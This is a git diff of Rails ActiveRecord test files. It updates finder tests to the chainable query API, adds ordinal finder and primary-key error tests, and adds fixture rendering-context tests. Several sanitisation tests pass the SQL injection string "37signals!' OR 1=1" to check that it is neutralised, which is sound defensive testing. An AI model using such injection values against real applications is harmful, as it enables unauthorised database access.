@@ -5,6 +5,11 @@ class FinderRespondToTest < ActiveRecord::TestCase
 
   fixtures :topics
 
+  def test_should_preserve_normal_respond_to_behaviour_on_base
+    assert_respond_to ActiveRecord::Base, :new
+    assert !ActiveRecord::Base.respond_to?(:find_by_something)
+  end
+
   def test_should_preserve_normal_respond_to_behaviour_and_respond_to_newly_added_method
     class << Topic; self; end.send(:define_method, :method_added_for_finder_respond_to_test) { }
     assert_respond_to Topic, :method_added_for_finder_respond_to_test
@@ -21,16 +26,6 @@ class FinderRespondToTest < ActiveRecord::TestCase
     assert_respond_to Topic, :find_by_title
   end
 
-  def test_should_respond_to_find_all_by_one_attribute
-    ensure_topic_method_is_not_cached(:find_all_by_title)
-    assert_respond_to Topic, :find_all_by_title
-  end
-
-  def test_should_respond_to_find_all_by_two_attributes
-    ensure_topic_method_is_not_cached(:find_all_by_title_and_author_name)
-    assert_respond_to Topic, :find_all_by_title_and_author_name
-  end
-
   def test_should_respond_to_find_by_with_bang
     ensure_topic_method_is_not_cached(:find_by_title!)
     assert_respond_to Topic, :find_by_title!
@@ -46,36 +41,6 @@ class FinderRespondToTest < ActiveRecord::TestCase
     assert_respond_to Topic, :find_by_heading
   end
 
-  def test_should_respond_to_find_or_initialize_from_one_attribute
-    ensure_topic_method_is_not_cached(:find_or_initialize_by_title)
-    assert_respond_to Topic, :find_or_initialize_by_title
-  end
-
-  def test_should_respond_to_find_or_initialize_from_two_attributes
-    ensure_topic_method_is_not_cached(:find_or_initialize_by_title_and_author_name)
-    assert_respond_to Topic, :find_or_initialize_by_title_and_author_name
-  end
-
-  def test_should_respond_to_find_or_create_from_one_attribute
-    ensure_topic_method_is_not_cached(:find_or_create_by_title)
-    assert_respond_to Topic, :find_or_create_by_title
-  end
-
-  def test_should_respond_to_find_or_create_from_two_attributes
-    ensure_topic_method_is_not_cached(:find_or_create_by_title_and_author_name)
-    assert_respond_to Topic, :find_or_create_by_title_and_author_name
-  end
-
-  def test_should_respond_to_find_or_create_from_one_attribute_bang
-    ensure_topic_method_is_not_cached(:find_or_create_by_title!)
-    assert_respond_to Topic, :find_or_create_by_title!
-  end
-
-  def test_should_respond_to_find_or_create_from_two_attributes_bang
-    ensure_topic_method_is_not_cached(:find_or_create_by_title_and_author_name!)
-    assert_respond_to Topic, :find_or_create_by_title_and_author_name!
-  end
-
   def test_should_not_respond_to_find_by_one_missing_attribute
     assert !Topic.respond_to?(:find_by_undertitle)
   end
diff --git a/activerecord/test/cases/finder_test.rb b/activerecord/test/cases/finder_test.rb
index 172a5cb..b1eded6 100644
--- a/activerecord/test/cases/finder_test.rb
+++ b/activerecord/test/cases/finder_test.rb
@@ -11,6 +11,8 @@ require 'models/project'
 require 'models/developer'
 require 'models/customer'
 require 'models/toy'
+require 'models/matey'
+require 'models/dog'
 
 class FinderTest < ActiveRecord::TestCase
   fixtures :companies, :topics, :entrants, :developers, :developers_projects, :posts, :comments, :accounts, :authors, :customers, :categories, :categorizations
@@ -47,9 +49,11 @@ class FinderTest < ActiveRecord::TestCase
   def test_exists
     assert_equal true, Topic.exists?(1)
     assert_equal true, Topic.exists?("1")
-    assert_equal true, Topic.exists?(author_name: "David")
-    assert_equal true, Topic.exists?(author_name: "Mary", approved: true)
+    assert_equal true, Topic.exists?(title: "The First Topic")
+    assert_equal true, Topic.exists?(heading: "The First Topic")
+    assert_equal true, Topic.exists?(:author_name => "Mary", :approved => true)
     assert_equal true, Topic.exists?(["parent_id = ?", 1])
+    assert_equal true, Topic.exists?(id: [1, 9999])
 
     assert_equal false, Topic.exists?(45)
     assert_equal false, Topic.exists?(Topic.new)
@@ -147,14 +151,14 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_by_ids_with_limit_and_offset
-    assert_equal 2, Entrant.all.merge!(:limit => 2).find([1,3,2]).size
-    assert_equal 1, Entrant.all.merge!(:limit => 3, :offset => 2).find([1,3,2]).size
+    assert_equal 2, Entrant.limit(2).find([1,3,2]).size
+    assert_equal 1, Entrant.limit(3).offset(2).find([1,3,2]).size
 
     # Also test an edge case: If you have 11 results, and you set a
     #   limit of 3 and offset of 9, then you should find that there
     #   will be only 2 results, regardless of the limit.
     devs = Developer.all
-    last_devs = Developer.all.merge!(:limit => 3, :offset => 9).find devs.map(&:id)
+    last_devs = Developer.limit(3).offset(9).find devs.map(&:id)
     assert_equal 2, last_devs.size
   end
 
@@ -250,6 +254,94 @@ class FinderTest < ActiveRecord::TestCase
     end
   end
 
+  def test_second
+    assert_equal topics(:second).title, Topic.second.title
+  end
+
+  def test_second_with_offset
+    assert_equal topics(:fifth), Topic.offset(3).second
+  end
+
+  def test_second_have_primary_key_order_by_default
+    expected = topics(:second)
+    expected.touch # PostgreSQL changes the default order if no order clause is used
+    assert_equal expected, Topic.second
+  end
+
+  def test_model_class_responds_to_second_bang
+    assert Topic.second!
+    Topic.delete_all
+    assert_raises ActiveRecord::RecordNotFound do
+      Topic.second!
+    end
+  end
+
+  def test_third
+    assert_equal topics(:third).title, Topic.third.title
+  end
+
+  def test_third_with_offset
+    assert_equal topics(:fifth), Topic.offset(2).third
+  end
+
+  def test_third_have_primary_key_order_by_default
+    expected = topics(:third)
+    expected.touch # PostgreSQL changes the default order if no order clause is used
+    assert_equal expected, Topic.third
+  end
+
+  def test_model_class_responds_to_third_bang
+    assert Topic.third!
+    Topic.delete_all
+    assert_raises ActiveRecord::RecordNotFound do
+      Topic.third!
+    end
+  end
+
+  def test_fourth
+    assert_equal topics(:fourth).title, Topic.fourth.title
+  end
+
+  def test_fourth_with_offset
+    assert_equal topics(:fifth), Topic.offset(1).fourth
+  end
+
+  def test_fourth_have_primary_key_order_by_default
+    expected = topics(:fourth)
+    expected.touch # PostgreSQL changes the default order if no order clause is used
+    assert_equal expected, Topic.fourth
+  end
+
+  def test_model_class_responds_to_fourth_bang
+    assert Topic.fourth!
+    Topic.delete_all
+    assert_raises ActiveRecord::RecordNotFound do
+      Topic.fourth!
+    end
+  end
+
+  def test_fifth
+    assert_equal topics(:fifth).title, Topic.fifth.title
+  end
+
+  def test_fifth_with_offset
+    assert_equal topics(:fifth), Topic.offset(0).fifth
+  end
+
+  def test_fifth_have_primary_key_order_by_default
+    expected = topics(:fifth)
+    expected.touch # PostgreSQL changes the default order if no order clause is used
+    assert_equal expected, Topic.fifth
+  end
+
+  def test_model_class_responds_to_fifth_bang
+    assert Topic.fifth!
+    Topic.delete_all
+    assert_raises ActiveRecord::RecordNotFound do
+      Topic.fifth!
+    end
+  end
+
   def test_last_bang_present
     assert_nothing_raised do
       assert_equal topics(:second), Topic.where("title = 'The Second Topic of the day'").last!
@@ -263,7 +355,7 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_model_class_responds_to_last_bang
-    assert_equal topics(:fourth), Topic.last!
+    assert_equal topics(:fifth), Topic.last!
     assert_raises ActiveRecord::RecordNotFound do
       Topic.delete_all
       Topic.last!
@@ -307,7 +399,7 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_only_some_columns
-    topic = Topic.all.merge!(:select => "author_name").find(1)
+    topic = Topic.select("author_name").find(1)
     assert_raise(ActiveModel::MissingAttributeError) {topic.title}
     assert_raise(ActiveModel::MissingAttributeError) {topic.title?}
     assert_nil topic.read_attribute("title")
@@ -319,23 +411,23 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_on_array_conditions
-    assert Topic.all.merge!(:where => ["approved = ?", false]).find(1)
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => ["approved = ?", true]).find(1) }
+    assert Topic.where(["approved = ?", false]).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(["approved = ?", true]).find(1) }
   end
 
   def test_find_on_hash_conditions
-    assert Topic.all.merge!(:where => { :approved => false }).find(1)
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :approved => true }).find(1) }
+    assert Topic.where(approved: false).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(approved: true).find(1) }
   end
 
   def test_find_on_hash_conditions_with_explicit_table_name
-    assert Topic.all.merge!(:where => { 'topics.approved' => false }).find(1)
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { 'topics.approved' => true }).find(1) }
+    assert Topic.where('topics.approved' => false).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where('topics.approved' => true).find(1) }
   end
 
   def test_find_on_hash_conditions_with_hashed_table_name
-    assert Topic.all.merge!(:where => {:topics => { :approved => false }}).find(1)
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => {:topics => { :approved => true }}).find(1) }
+    assert Topic.where(topics: { approved: false }).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(topics: { approved: true }).find(1) }
   end
 
   def test_find_with_hash_conditions_on_joined_table
@@ -345,7 +437,7 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_with_hash_conditions_on_joined_table_and_with_range
-    firms = DependentFirm.all.merge!(:joins => :account, :where => {:name => 'RailsCore', :accounts => { :credit_limit => 55..60 }})
+    firms = DependentFirm.joins(:account).where(name: 'RailsCore', accounts: { credit_limit: 55..60 })
     assert_equal 1, firms.size
     assert_equal companies(:rails_core), firms.first
   end
@@ -363,71 +455,71 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_on_hash_conditions_with_range
-    assert_equal [1,2], Topic.all.merge!(:where => { :id => 1..2 }).to_a.map(&:id).sort
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :id => 2..3 }).find(1) }
+    assert_equal [1,2], Topic.where(id: 1..2).to_a.map(&:id).sort
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(id: 2..3).find(1) }
   end
 
   def test_find_on_hash_conditions_with_end_exclusive_range
-    assert_equal [1,2,3], Topic.all.merge!(:where => { :id => 1..3 }).to_a.map(&:id).sort
-    assert_equal [1,2], Topic.all.merge!(:where => { :id => 1...3 }).to_a.map(&:id).sort
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :id => 2...3 }).find(3) }
+    assert_equal [1,2,3], Topic.where(id: 1..3).to_a.map(&:id).sort
+    assert_equal [1,2], Topic.where(id: 1...3).to_a.map(&:id).sort
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(id: 2...3).find(3) }
   end
 
   def test_find_on_hash_conditions_with_multiple_ranges
-    assert_equal [1,2,3], Comment.all.merge!(:where => { :id => 1..3, :post_id => 1..2 }).to_a.map(&:id).sort
-    assert_equal [1], Comment.all.merge!(:where => { :id => 1..1, :post_id => 1..10 }).to_a.map(&:id).sort
+    assert_equal [1,2,3], Comment.where(id: 1..3, post_id: 1..2).to_a.map(&:id).sort
+    assert_equal [1], Comment.where(id: 1..1, post_id: 1..10).to_a.map(&:id).sort
   end
 
   def test_find_on_hash_conditions_with_array_of_integers_and_ranges
-    assert_equal [1,2,3,5,6,7,8,9], Comment.all.merge!(:where => {:id => [1..2, 3, 5, 6..8, 9]}).to_a.map(&:id).sort
+    assert_equal [1,2,3,5,6,7,8,9], Comment.where(id: [1..2, 3, 5, 6..8, 9]).to_a.map(&:id).sort
   end
 
   def test_find_on_multiple_hash_conditions
-    assert Topic.all.merge!(:where => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => false }).find(1)
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }).find(1) }
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :author_name => "David", :title => "HHC", :replies_count => 1, :approved => false }).find(1) }
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }).find(1) }
+    assert Topic.where(author_name: "David", title: "The First Topic", replies_count: 1, approved: false).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(author_name: "David", title: "The First Topic", replies_count: 1, approved: true).find(1) }
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(author_name: "David", title: "HHC", replies_count: 1, approved: false).find(1) }
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(author_name: "David", title: "The First Topic", replies_count: 1, approved: true).find(1) }
   end
 
   def test_condition_interpolation
     assert_kind_of Firm, Company.where("name = '%s'", "37signals").first
-    assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!"]).first
-    assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!' OR 1=1"]).first
-    assert_kind_of Time, Topic.all.merge!(:where => ["id = %d", 1]).first.written_on
+    assert_nil Company.where(["name = '%s'", "37signals!"]).first
+    assert_nil Company.where(["name = '%s'", "37signals!' OR 1=1"]).first
+    assert_kind_of Time, Topic.where(["id = %d", 1]).first.written_on
   end
 
   def test_condition_array_interpolation
-    assert_kind_of Firm, Company.all.merge!(:where => ["name = '%s'", "37signals"]).first
-    assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!"]).first
-    assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!' OR 1=1"]).first
-    assert_kind_of Time, Topic.all.merge!(:where => ["id = %d", 1]).first.written_on
+    assert_kind_of Firm, Company.where(["name = '%s'", "37signals"]).first
+    assert_nil Company.where(["name = '%s'", "37signals!"]).first
+    assert_nil Company.where(["name = '%s'", "37signals!' OR 1=1"]).first
+    assert_kind_of Time, Topic.where(["id = %d", 1]).first.written_on
   end
 
   def test_condition_hash_interpolation
-    assert_kind_of Firm, Company.all.merge!(:where => { :name => "37signals"}).first
-    assert_nil Company.all.merge!(:where => { :name => "37signals!"}).first
-    assert_kind_of Time, Topic.all.merge!(:where => {:id => 1}).first.written_on
+    assert_kind_of Firm, Company.where(name: "37signals").first
+    assert_nil Company.where(name: "37signals!").first
+    assert_kind_of Time, Topic.where(id: 1).first.written_on
   end
 
   def test_hash_condition_find_malformed
     assert_raise(ActiveRecord::StatementInvalid) {
-      Company.all.merge!(:where => { :id => 2, :dhh => true }).first
+      Company.where(id: 2, dhh: true).first
     }
   end
 
   def test_hash_condition_find_with_escaped_characters
     Company.create("name" => "Ain't noth'n like' \#stuff")
-    assert Company.all.merge!(:where => { :name => "Ain't noth'n like' \#stuff" }).first
+    assert Company.where(name: "Ain't noth'n like' \#stuff").first
   end
 
   def test_hash_condition_find_with_array
-    p1, p2 = Post.all.merge!(:limit => 2, :order => 'id asc').to_a
-    assert_equal [p1, p2], Post.all.merge!(:where => { :id => [p1, p2] }, :order => 'id asc').to_a
-    assert_equal [p1, p2], Post.all.merge!(:where => { :id => [p1, p2.id] }, :order => 'id asc').to_a
+    p1, p2 = Post.limit(2).order('id asc').to_a
+    assert_equal [p1, p2], Post.where(id: [p1, p2]).order('id asc').to_a
+    assert_equal [p1, p2], Post.where(id: [p1, p2.id]).order('id asc').to_a
   end
 
   def test_hash_condition_find_with_nil
-    topic = Topic.all.merge!(:where => { :last_read => nil } ).first
+    topic = Topic.where(last_read: nil).first
     assert_not_nil topic
     assert_nil topic.last_read
   end
@@ -476,61 +568,61 @@ class FinderTest < ActiveRecord::TestCase
 
   def test_condition_utc_time_interpolation_with_default_timezone_local
     with_env_tz 'America/New_York' do
-      with_active_record_default_timezone :local do
+      with_timezone_config default: :local do
         topic = Topic.first
-        assert_equal topic, Topic.all.merge!(:where => ['written_on = ?', topic.written_on.getutc]).first
+        assert_equal topic, Topic.where(['written_on = ?', topic.written_on.getutc]).first
       end
     end
   end
 
   def test_hash_condition_utc_time_interpolation_with_default_timezone_local
     with_env_tz 'America/New_York' do
-      with_active_record_default_timezone :local do
+      with_timezone_config default: :local do
         topic = Topic.first
-        assert_equal topic, Topic.all.merge!(:where => {:written_on => topic.written_on.getutc}).first
+        assert_equal topic, Topic.where(written_on: topic.written_on.getutc).first
       end
     end
   end
 
   def test_condition_local_time_interpolation_with_default_timezone_utc
     with_env_tz 'America/New_York' do
-      with_active_record_default_timezone :utc do
+      with_timezone_config default: :utc do
         topic = Topic.first
-        assert_equal topic, Topic.all.merge!(:where => ['written_on = ?', topic.written_on.getlocal]).first
+        assert_equal topic, Topic.where(['written_on = ?', topic.written_on.getlocal]).first
       end
     end
   end
 
   def test_hash_condition_local_time_interpolation_with_default_timezone_utc
     with_env_tz 'America/New_York' do
-      with_active_record_default_timezone :utc do
+      with_timezone_config default: :utc do
         topic = Topic.first
-        assert_equal topic, Topic.all.merge!(:where => {:written_on => topic.written_on.getlocal}).first
+        assert_equal topic, Topic.where(written_on: topic.written_on.getlocal).first
       end
     end
   end
 
   def test_bind_variables
-    assert_kind_of Firm, Company.all.merge!(:where => ["name = ?", "37signals"]).first
-    assert_nil Company.all.merge!(:where => ["name = ?", "37signals!"]).first
-    assert_nil Company.all.merge!(:where => ["name = ?", "37signals!' OR 1=1"]).first
-    assert_kind_of Time, Topic.all.merge!(:where => ["id = ?", 1]).first.written_on
+    assert_kind_of Firm, Company.where(["name = ?", "37signals"]).first
+    assert_nil Company.where(["name = ?", "37signals!"]).first
+    assert_nil Company.where(["name = ?", "37signals!' OR 1=1"]).first
+    assert_kind_of Time, Topic.where(["id = ?", 1]).first.written_on
     assert_raise(ActiveRecord::PreparedStatementInvalid) {
-      Company.all.merge!(:where => ["id=? AND name = ?", 2]).first
+      Company.where(["id=? AND name = ?", 2]).first
     }
     assert_raise(ActiveRecord::PreparedStatementInvalid) {
-     Company.all.merge!(:where => ["id=?", 2, 3, 4]).first
+     Company.where(["id=?", 2, 3, 4]).first
     }
   end
 
   def test_bind_variables_with_quotes
     Company.create("name" => "37signals' go'es agains")
-    assert Company.all.merge!(:where => ["name = ?", "37signals' go'es agains"]).first
+    assert Company.where(["name = ?", "37signals' go'es agains"]).first
   end
 
   def test_named_bind_variables_with_quotes
     Company.create("name" => "37signals' go'es agains")
-    assert Company.all.merge!(:where => ["name = :name", {:name => "37signals' go'es agains"}]).first
+    assert Company.where(["name = :name", {name: "37signals' go'es agains"}]).first
   end
 
   def test_bind_arity
@@ -548,10 +640,10 @@ class FinderTest < ActiveRecord::TestCase
 
     assert_nothing_raised { bind("'+00:00'", :foo => "bar") }
 
-    assert_kind_of Firm, Company.all.merge!(:where => ["name = :name", { :name => "37signals" }]).first
-    assert_nil Company.all.merge!(:where => ["name = :name", { :name => "37signals!" }]).first
-    assert_nil Company.all.merge!(:where => ["name = :name", { :name => "37signals!' OR 1=1" }]).first
-    assert_kind_of Time, Topic.all.merge!(:where => ["id = :id", { :id => 1 }]).first.written_on
+    assert_kind_of Firm, Company.where(["name = :name", { name: "37signals" }]).first
+    assert_nil Company.where(["name = :name", { name: "37signals!" }]).first
+    assert_nil Company.where(["name = :name", { name: "37signals!' OR 1=1" }]).first
+    assert_kind_of Time, Topic.where(["id = :id", { id: 1 }]).first.written_on
   end
 
   class SimpleEnumerable
@@ -614,7 +706,7 @@ class FinderTest < ActiveRecord::TestCase
   def test_named_bind_with_postgresql_type_casts
     l = Proc.new { bind(":a::integer '2009-01-01'::date", :a => '10') }
     assert_nothing_raised(&l)
-    assert_equal "#{ActiveRecord::Base.quote_value('10')}::integer '2009-01-01'::date", l.call
+    assert_equal "#{ActiveRecord::Base.connection.quote('10')}::integer '2009-01-01'::date", l.call
   end
 
   def test_string_sanitation
@@ -638,6 +730,13 @@ class FinderTest < ActiveRecord::TestCase
     assert_raise(ActiveRecord::RecordNotFound) { Topic.find_by_title!("The First Topic!") }
   end
 
+  def test_find_by_on_attribute_that_is_a_reserved_word
+    dog_alias = 'Dog'
+    dog = Dog.create(alias: dog_alias)
+
+    assert_equal dog, Dog.find_by_alias(dog_alias)
+  end
+
   def test_find_by_one_attribute_that_is_an_alias
     assert_equal topics(:first), Topic.find_by_heading("The First Topic")
     assert_nil Topic.find_by_heading("The First Topic!")
@@ -717,6 +816,15 @@ class FinderTest < ActiveRecord::TestCase
     assert_raise(ArgumentError) { Topic.find_by_title_and_author_name("The First Topic") }
   end
 
+  def test_find_last_with_offset
+    devs = Developer.order('id')
+
+    assert_equal devs[2], Developer.offset(2).first
+    assert_equal devs[-3], Developer.offset(2).last
+    assert_equal devs[-3], Developer.offset(2).last
+    assert_equal devs[-3], Developer.offset(2).order('id DESC').first
+  end
+
   def test_find_by_nil_attribute
     topic = Topic.find_by_last_read nil
     assert_not_nil topic
@@ -733,10 +841,9 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_all_with_join
-    developers_on_project_one = Developer.all.merge!(
-      :joins => 'LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id',
-      :where => 'project_id=1'
-    ).to_a
+    developers_on_project_one = Developer.
+      joins('LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id').
+      where('project_id=1').to_a
     assert_equal 3, developers_on_project_one.length
     developer_names = developers_on_project_one.map { |d| d.name }
     assert developer_names.include?('David')
@@ -744,20 +851,17 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_joins_dont_clobber_id
-    first = Firm.all.merge!(
-      :joins => 'INNER JOIN companies clients ON clients.firm_id = companies.id',
-      :where => 'companies.id = 1'
-    ).first
+    first = Firm.
+      joins('INNER JOIN companies clients ON clients.firm_id = companies.id').
+      where('companies.id = 1').first
     assert_equal 1, first.id
   end
 
   def test_joins_with_string_array
-    person_with_reader_and_post = Post.all.merge!(
-      :joins => [
-        "INNER JOIN categorizations ON categorizations.post_id = posts.id",
-        "INNER JOIN categories ON categories.id = categorizations.category_id AND categories.type = 'SpecialCategory'"
-      ]
-    )
+    person_with_reader_and_post = Post.
+      joins(["INNER JOIN categorizations ON categorizations.post_id = posts.id",
+             "INNER JOIN categories ON categories.id = categorizations.category_id AND categories.type = 'SpecialCategory'"
+            ])
     assert_equal 1, person_with_reader_and_post.size
   end
 
@@ -782,9 +886,9 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_by_records
-    p1, p2 = Post.all.merge!(:limit => 2, :order => 'id asc').to_a
-    assert_equal [p1, p2], Post.all.merge!(:where => ['id in (?)', [p1, p2]], :order => 'id asc')
-    assert_equal [p1, p2], Post.all.merge!(:where => ['id in (?)', [p1, p2.id]], :order => 'id asc')
+    p1, p2 = Post.limit(2).order('id asc').to_a
+    assert_equal [p1, p2], Post.where(['id in (?)', [p1, p2]]).order('id asc')
+    assert_equal [p1, p2], Post.where(['id in (?)', [p1, p2.id]]).order('id asc')
   end
 
   def test_select_value
@@ -796,8 +900,8 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_select_values
-    assert_equal ["1","2","3","4","5","6","7","8","9", "10"], Company.connection.select_values("SELECT id FROM companies ORDER BY id").map! { |i| i.to_s }
-    assert_equal ["37signals","Summit","Microsoft", "Flamboyant Software", "Ex Nihilo", "RailsCore", "Leetsoft", "Jadedpixel", "Odegy", "Ex Nihilo Part Deux"], Company.connection.select_values("SELECT name FROM companies ORDER BY id")
+    assert_equal ["1","2","3","4","5","6","7","8","9", "10", "11"], Company.connection.select_values("SELECT id FROM companies ORDER BY id").map! { |i| i.to_s }
+    assert_equal ["37signals","Summit","Microsoft", "Flamboyant Software", "Ex Nihilo", "RailsCore", "Leetsoft", "Jadedpixel", "Odegy", "Ex Nihilo Part Deux", "Apex"], Company.connection.select_values("SELECT name FROM companies ORDER BY id")
   end
 
   def test_select_rows
@@ -811,36 +915,35 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_with_order_on_included_associations_with_construct_finder_sql_for_association_limiting_and_is_distinct
-    assert_equal 2, Post.all.merge!(:includes => { :authors => :author_address }, :order => 'author_addresses.id DESC ', :limit => 2).to_a.size
+    assert_equal 2, Post.includes(authors: :author_address).order('author_addresses.id DESC ').limit(2).to_a.size
 
-    assert_equal 3, Post.all.merge!(:includes => { :author => :author_address, :authors => :author_address},
-                              :order => 'author_addresses_authors.id DESC ', :limit => 3).to_a.size
+    assert_equal 3, Post.includes(author: :author_address, authors: :author_address).
+                              order('author_addresses_authors.id DESC ').limit(3).to_a.size
   end
 
   def test_find_with_nil_inside_set_passed_for_one_attribute
-    client_of = Company.all.merge!(
-      :where => {
-        :client_of => [2, 1, nil],
-        :name => ['37signals', 'Summit', 'Microsoft'] },
-      :order => 'client_of DESC'
-    ).map { |x| x.client_of }
+    client_of = Company.
+      where(client_of: [2, 1, nil],
+            name: ['37signals', 'Summit', 'Microsoft']).
+      order('client_of DESC').
+      map { |x| x.client_of }
 
     assert client_of.include?(nil)
     assert_equal [2, 1].sort, client_of.compact.sort
   end
 
   def test_find_with_nil_inside_set_passed_for_attribute
-    client_of = Company.all.merge!(
-      :where => { :client_of => [nil] },
-      :order => 'client_of DESC'
-    ).map { |x| x.client_of }
+    client_of = Company.
+      where(client_of: [nil]).
+      order('client_of DESC').
+      map { |x| x.client_of }
 
     assert_equal [], client_of.compact
   end
 
   def test_with_limiting_with_custom_select
     posts = Post.references(:authors).merge(
-      :includes => :author, :select => ' posts.*, authors.id as "author_id"',
+      :includes => :author, :select => 'posts.*, authors.id as "author_id"',
       :limit => 3, :order => 'posts.id'
     ).to_a
     assert_equal 3, posts.size
@@ -848,18 +951,33 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_one_message_with_custom_primary_key
-    Toy.primary_key = :name
-    begin
-      Toy.find 'Hello World!'
-    rescue ActiveRecord::RecordNotFound => e
-      assert_equal 'Couldn\'t find Toy with name=Hello World!', e.message
+    table_with_custom_primary_key do |model|
+      model.primary_key = :name
+      e = assert_raises(ActiveRecord::RecordNotFound) do
+        model.find 'Hello World!'
+      end
+      assert_equal %Q{Couldn't find MercedesCar with 'name'=Hello World!}, e.message
+    end
+  end
+
+  def test_find_some_message_with_custom_primary_key
+    table_with_custom_primary_key do |model|
+      model.primary_key = :name
+      e = assert_raises(ActiveRecord::RecordNotFound) do
+        model.find 'Hello', 'World!'
+      end
+      assert_equal %Q{Couldn't find all MercedesCars with 'name': (Hello, World!) (found 0 results, but was looking for 2)}, e.message
+    end
+  end
+
+  def test_find_without_primary_key
+    assert_raises(ActiveRecord::UnknownPrimaryKey) do
+      Matey.find(1)
     end
-  ensure
-    Toy.reset_primary_key
   end
 
   def test_finder_with_offset_string
-    assert_nothing_raised(ActiveRecord::StatementInvalid) { Topic.all.merge!(:offset => "3").to_a }
+    assert_nothing_raised(ActiveRecord::StatementInvalid) { Topic.offset("3").to_a }
   end
 
   protected
@@ -871,17 +989,11 @@ class FinderTest < ActiveRecord::TestCase
       end
     end
 
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-    end
-
-    def with_active_record_default_timezone(zone)
-      old_zone, ActiveRecord::Base.default_timezone = ActiveRecord::Base.default_timezone, zone
-      yield
-    ensure
-      ActiveRecord::Base.default_timezone = old_zone
+    def table_with_custom_primary_key
+      yield(Class.new(Toy) do
+        def self.name
+          'MercedesCar'
+        end
+      end)
     end
 end
diff --git a/activerecord/test/cases/fixture_set/file_test.rb b/activerecord/test/cases/fixture_set/file_test.rb
index a029fed..92efa8a 100644
--- a/activerecord/test/cases/fixture_set/file_test.rb
+++ b/activerecord/test/cases/fixture_set/file_test.rb
@@ -68,6 +68,61 @@ module ActiveRecord
         end
       end
 
+      def test_render_context_helper
+        ActiveRecord::FixtureSet.context_class.class_eval do
+          def fixture_helper
+            "Fixture helper"
+          end
+        end
+        yaml = "one:\n  name: <%= fixture_helper %>\n"
+        tmp_yaml ['curious', 'yml'], yaml do |t|
+          golden =
+              [["one", {"name" => "Fixture helper"}]]
+          assert_equal golden, File.open(t.path) { |fh| fh.to_a }
+        end
+        ActiveRecord::FixtureSet.context_class.class_eval do
+          remove_method :fixture_helper
+        end
+      end
+
+      def test_render_context_lookup_scope
+        yaml = <<END
+one:
+  ActiveRecord: <%= defined? ActiveRecord %>
+  ActiveRecord_FixtureSet: <%= defined? ActiveRecord::FixtureSet %>
+  FixtureSet: <%= defined? FixtureSet %>
+  ActiveRecord_FixtureSet_File: <%= defined? ActiveRecord::FixtureSet::File %>
+  File: <%= File.name %>
+END
+
+        golden = [['one', {
+          'ActiveRecord' => 'constant',
+          'ActiveRecord_FixtureSet' => 'constant',
+          'FixtureSet' => nil,
+          'ActiveRecord_FixtureSet_File' => 'constant',
+          'File' => 'File'
+        }]]
+
+        tmp_yaml ['curious', 'yml'], yaml do |t|
+          assert_equal golden, File.open(t.path) { |fh| fh.to_a }
+        end
+      end
+
+      # Make sure that each fixture gets its own rendering context so that
+      # fixtures are independent.
+      def test_independent_render_contexts
+        yaml1 = "<% def leaked_method; 'leak'; end %>\n"
+        yaml2 = "one:\n  name: <%= leaked_method %>\n"
+        tmp_yaml ['leaky', 'yml'], yaml1 do |t1|
+          tmp_yaml ['curious', 'yml'], yaml2 do |t2|
+            File.open(t1.path) { |fh| fh.to_a }
+            assert_raises(NameError) do
+              File.open(t2.path) { |fh| fh.to_a }
+            end
+          end
+        end
+      end
+
       private
       def tmp_yaml(name, contents)
         t = Tempfile.new name
diff --git a/activerecord/test/cases/fixtures_test.rb b/activerecord/test/cases/fixtures_test.rb
index 1bc055e..f1e80ac 100644
--- a/activerecord/test/cases/fixtures_test.rb
+++ b/activerecord/test/cases/fixtures_test.rb
@@ -84,6 +84,12 @@ class FixturesTest < ActiveRecord::TestCase
     assert fixtures.detect { |f| f.name == 'collections' }, "no fixtures named 'collections' in #{fixtures.map(&:name).inspect}"
   end
 
+  def test_create_symbol_fixtures_is_deprecated
+    assert_deprecated do
+      ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT, :collections, :collections => 'Course') { Course.connection }
+    end
+  end
+
   def test_attributes
     topics = create_fixtures("topics").first
